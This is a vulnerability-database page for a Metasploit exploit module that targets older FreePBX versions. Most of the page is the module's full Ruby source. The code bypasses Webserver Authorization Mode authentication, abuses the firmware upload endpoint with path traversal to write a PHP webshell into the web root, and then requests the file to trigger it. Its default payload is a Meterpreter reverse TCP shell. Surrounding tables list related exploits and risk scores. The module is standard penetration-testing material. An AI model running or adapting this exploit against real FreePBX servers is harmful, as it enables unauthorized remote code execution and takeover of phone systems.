Lucene search
K

FreePBX firmware file upload

🗓️ 28 Jan 2026 19:00:04Reported by Noah King, msutovsky-r7Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 309 Views

FreePBX older versions have authentication bypass and unlimited firmware uploads remote code execution.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for CVE-2025-61675
16 Dec 202506:03
githubexploit
GithubExploit
Exploit for CVE-2025-61675
14 Dec 202507:57
githubexploit
GithubExploit
Exploit for Authentication Bypass Using an Alternate Path or Channel in Sangoma Freepbx
6 Jun 202620:49
githubexploit
ATTACKERKB
CVE-2025-66039
9 Dec 202521:32
attackerkb
ATTACKERKB
CVE-2025-61678
14 Oct 202519:33
attackerkb
Circl
CVE-2025-61678
14 Dec 202515:00
circl
Circl
CVE-2025-66039
11 Dec 202520:39
circl
CNNVD
FreePBX Endpoint Manager 代码问题漏洞
14 Oct 202500:00
cnnvd
CNNVD
FreePBX Endpoint Manager 授权问题漏洞
9 Dec 202500:00
cnnvd
CVE
CVE-2025-61678
14 Oct 202519:33
cve
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'FreePBX firmware file upload',
        'Description' => %q{
          The FreePBX versions prior to 16.0.44,16.0.92 and 17.0.6,17.0.23 are vulnerable to multiple CVEs, specifically CVE-2025-66039 and CVE-2025-61678, in the context of this module. The versions before 16.0.44 and 17.0.23 are vulnerable to CVE-2025-66039, while versions before 16.0.92 and 17.0.6 are vulnerable to CVE-2025-61678. The former represents an authentication bypass: when FreePBX uses Webserver Authorization Mode (an option the admin can enable), it allows an attacker to authenticate as any user. The latter allows unrestricted file uploads via firmware upload, including path traversal. These vulnerabilities allow unauthenticated remote code execution by bypassing authentication and placing a webshell in the web server's directory.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Noah King',    # research
          'msutovsky-r7'  # module
        ],
        'References' => [
          [ 'CVE', '2025-66039'], # Authentication Bypass
          [ 'CVE', '2025-61678'], # File Upload and Path Traversal
          [ 'URL', 'https://horizon3.ai/attack-research/the-freepbx-rabbit-hole-cve-2025-66039-and-others/']
        ],
        'Platform' => ['php'],
        'Targets' => [
          [
            'PHP',
            {
              'Platform' => 'php',
              'Arch' => ARCH_PHP,
              'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' },
              'Type' => :php
            }
          ]
        ],
        'DisclosureDate' => '2025-12-11',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
        }
      )
    )

    register_options(
      [
        OptString.new('USERNAME', [true, 'A valid FreePBX user']),
      ]
    )
  end

  def check
    res = send_request_cgi({
      'uri' => normalize_uri('admin', 'config.php'),
      'method' => 'GET'
    })

    if (res&.code == 401 && res.body.include?('FreePBX')) ||
       (res.code == 500)
      return CheckCode::Detected('The FreePBX with Webserver authentication mode detected')
    end

    CheckCode::Safe('Webserver authorization mode is not set')
  end

  def get_session_cookie
    res = send_request_cgi({
      'uri' => normalize_uri('admin', 'config.php'),
      'method' => 'GET',
      'headers' => { 'Authorization' => basic_auth(datastore['USERNAME'], Rex::Text.rand_text_alphanumeric(6)) },
      'keep_cookies' => true
    })

    fail_with(Failure::UnexpectedReply, 'Received unexpected reply') unless res&.code == 401

    fail_with(Failure::NotVulnerable, 'Target might not be vulnerable to authentication bypass') unless res.get_cookies
  end

  def upload_webshell
    @target_payload_file_name = %(#{Rex::Text.rand_text_alphanumeric(8).downcase}.php)
    @target_dir = Rex::Text.rand_text_alphanumeric(8).downcase

    form_data = Rex::MIME::Message.new

    form_data.add_part(SecureRandom.uuid, nil, nil, 'form-data; name="dzuuid"')
    form_data.add_part('0', nil, nil, 'form-data; name="dzchunkindex"')
    form_data.add_part(payload.encoded.length.to_s, nil, nil, 'form-data; name="dztotalfilesize"')
    form_data.add_part('2000000', nil, nil, 'form-data; name="dzchunksize"')
    form_data.add_part('1', nil, nil, 'form-data; name="dztotalchunkcount"')
    form_data.add_part('0', nil, nil, 'form-data; name="dzchunkbyteoffset"')
    form_data.add_part("../../../var/www/html/#{@target_dir}", nil, nil, 'form-data; name="fwbrand"')
    form_data.add_part('1', nil, nil, 'form-data; name="fwmodel"')
    form_data.add_part('1', nil, nil, 'form-data; name="fwversion"')
    form_data.add_part(payload.encoded, 'application/octet-stream', nil, %(form-data; name="file"; filename="#{@target_payload_file_name}"))

    res = send_request_cgi({
      'uri' => normalize_uri('admin', 'ajax.php'),
      'method' => 'POST',
      'headers' => {
        'Authorization' => basic_auth(Rex::Text.rand_text_alphanumeric(6), Rex::Text.rand_text_alphanumeric(6)),
        'Referer' => full_uri(normalize_uri('admin', 'config.php'))
      },
      'ctype' => "multipart/form-data; boundary=#{form_data.bound}",
      'vars_get' => { 'module' => 'endpoint', 'command' => 'upload_cust_fw' },
      'data' => form_data.to_s
    })

    fail_with(Failure::PayloadFailed, 'Failed to upload webshell') unless res&.code == 500
    register_dir_for_cleanup("../#{@target_dir}")
  end

  def trigger_payload
    send_request_cgi({
      'uri' => normalize_uri(@target_dir, @target_payload_file_name),
      'method' => 'GET'
    })
  end

  def exploit
    print_status('Trying to bypass authentication...')
    get_session_cookie

    print_good('Bypass successful, trying upload webshell...')

    upload_webshell

    print_good('Upload successful, triggering...')

    trigger_payload
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Jun 2026 19:03Current
6.6Medium risk
Vulners AI Score6.6
CVSS 49.3
CVSS 3.19.8
EPSS0.16041
SSVC
309